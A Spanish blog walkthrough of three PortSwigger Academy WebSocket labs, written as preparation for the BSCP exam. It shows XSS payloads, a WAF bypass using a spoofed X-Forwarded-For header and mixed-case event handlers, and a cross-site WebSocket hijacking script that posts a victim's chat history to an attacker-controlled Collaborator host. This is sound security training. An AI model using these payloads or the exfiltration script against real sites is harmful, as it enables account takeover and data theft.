¡Hola a todos! Aquí estamos de nuevo y esta vez seguimos preparando la certificación Burp Suite Certified Professional (BSCP), que proporciona una base muy buena de cara a auditorías web y gestión de la presión, sobre todo en el examen para el cual te proporcionan 4 horas y hay que explotar hasta 6 vulnerabilidades. Además, se trata de un examen muy barato (<100€) lo que la hace sumamente atractiva.

Antes de nada, recordad que PortSwigger nos permite probar 30 días su versión profesional de Burp Suite. Os recomendamos que activéis esta versión para poder probar todas las funcionalidades de la herramienta.

En esta entrada explicaremos y solucionaremos todos los laboratorios adicionales relativos a WebSockets. Hay muchos walkthroughs sobre cómo resolver estos laboratorios, pero exponerlos aquí nos sirve para afianzar conceptos y enseñaros además algunos trucos de uso de Burp Suite Professional, así como comentar veces que hemos visto las vulnerabilidades estudiadas en los laboratorios en la vida real. Sin más dilación, ¡comenzamos!

Esta tecnología está muy de moda, especialmente en aplicaciones que deben funcionar en tiempo real o cuasi tiempo real. Por ello, debemos conocer muy bien su funcionamiento. No obstante, como veremos, explorar vulnerabilidades en WebSockets es muy parecido a explorar vulnerabilidades en entornos web tradicionales. Simplemente cambia el método de envío y recepción de los datos.

Lab1 (Apprentice) – Manipulating WebSocket messages to exploit vulnerabilities

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, use a WebSocket message to trigger an alert() popup in the support agent’s browser.». En este laboratorio el objetivo es explotar una vulnerabilidad XSS a través de WebSockets.

Accedemos a la aplicación y notamos un menú nuevo relativo a un chat en vivo. Este tipo de funcionalidades son muy susceptibles de ser implementadas con WebSockets. Confirmamos que, efectivamente, esto es así:

Si nos vamos a la pestaña de «WebSockets History» en el proxy de Burp Suite Professional, veremos todos los mensajes intercambiados con el servidor a través de WebSockets. De manera normal, el servidor y el cliente mantienen la sincronización del chat mediante mensajes «PING/PONG». Para trabajar más cómodos, eliminamos estos mensajes con una expresión regular y nos quedamos con el resto de mensajes:

Quitando los mensajes de sincronización, vemos que el primer mensaje enviado por el cliente es un «READY» a lo que el servidor contesta con el contenido anterior del chat. Enviamos un nuevo mensaje en el chat y observamos cómo se envía un mensaje nuevo por el WebSocket:

Suponiendo que este mensaje le llega al cliente y que se incluye dentro de contenido HTML (esto podemos verlo en el código fuente de la aplicación vista desde la víctima, donde efectivamente los mensajes se muestran en contenido HTML), podemos tratar de enviarle un mensaje con payload XSS. Se prueba el siguiente payload:

<img src=x onerror=alert(1)>

Enviamos el mensaje a través del WebSocket y vemos cómo se resuelve el laboratorio, obteniendo ejecución client-side en el navegador del agente.

Lab2 (Practicioner) – Manipulating the WebSocket handshake to exploit vulnerabilities

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, use a WebSocket message to trigger an alert() popup in the support agent’s browser.». En este laboratorio el objetivo es explotar una vulnerabilidad XSS a través de WebSockets.

Comenzamos mapeando el contenido de la aplicación y vemos que, al igual que en el primer laboratorio de WebSockets, la funcionalidad de chat se implementa mediante esta tecnología.

De nuevo, probamos un payload XSS con el objetivo de ejecutar código a nivel client-side en el navegador del agente que lee nuestros mensajes:

<img src=x onerror=alert(1)>

Tal como podemos ver el sistema nos desconecta. Asimismo, tenemos un bloqueo de nuestra dirección IP debido probablemente a un mecanismo de WAF. Para poder hacer bypass de este mecanismo, debemos acudir al «handshake» inicial entre el servicio web y el WebSocket. Es decir, debemos acudir donde se abre la conexión del WebSocket.

Dentro de la pestaña Repeater para el WebSocket, damos a «Reconnect» y añadimos la cabecera X-Forwarded-For con el valor 127.0.0.1, intentando hacer ver al servidor que estamos abriendo el WebSocket de manera local y que, por tanto, el WAF no es necesario (realmente, el WAF simplemente utiliza esta cabecera para validar la IP que accede, con que sea una IP válida es suficiente):

Si mandamos el mismo mensaje, veremos que nos vuelve a bloquear. Por tanto, deducimos que el bloqueo es simplemente de IP y nos enfocamos en bypassear el WAF. Para ello, utilizamos las técnicas previstas para bypass de WAF en XSS y probamos con alternativas entre mayúsculas y minúsculas inicialmente:

<img src=x oNeRrOr=alert`1`>

Como vemos, bypasseamos el WAF. Si además acudimos al laboratorio, veremos que está resuelto.

Lab3 (Practicioner) – Cross-site WebSocket hijacking

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, use the exploit server to host an HTML/JavaScript payload that uses a cross-site WebSocket hijacking attack to exfiltrate the victim’s chat history, then use this gain access to their account.». En este laboratorio el objetivo es explotar una vulnerabilidad de exfiltración de información mediante Cross-Site Web Socket Hijacking (CSWSH).

Comenzamos mapeando la aplicación y observamos que, el chat en vivo, abre la conexión sin especificar ninguna medida anti-CSRF. Por tanto, podemos generar un iframe e incrustar la web vulnerable, pudiendo abrir un WebSocket en el contexto de la víctima y acceder al mismo.

Además de lo anterior, vemos que la funcionalidad de chat funciona al igual que en otros laboratorios. Si el cliente envía un mensaje «READY» al inicio de la conexión, se obtiene el historial de chat del usuario. Por tanto, podemos generar una prueba de concepto que abra un socket, envíe un «READY», obtenga la respuesta y la pase como parámetro a un subdominio controlado por el atacante:

<script>
    var ws = new WebSocket('wss://0a6b00ef03afd98480e01c3f00f000f0.web-security-academy.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://e3iqd05xc5g03bwov5set4bzqqwhk78w.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

Hosteamos el script en nuestro «Exploit Server», lo enviamos al atacante y observamos la interacción con el Burp Collaborator:

Como vemos, obtenemos la contraseña del usuario «carlos», que es lo que el laboratorio nos pide para su resolución.

~km0xu95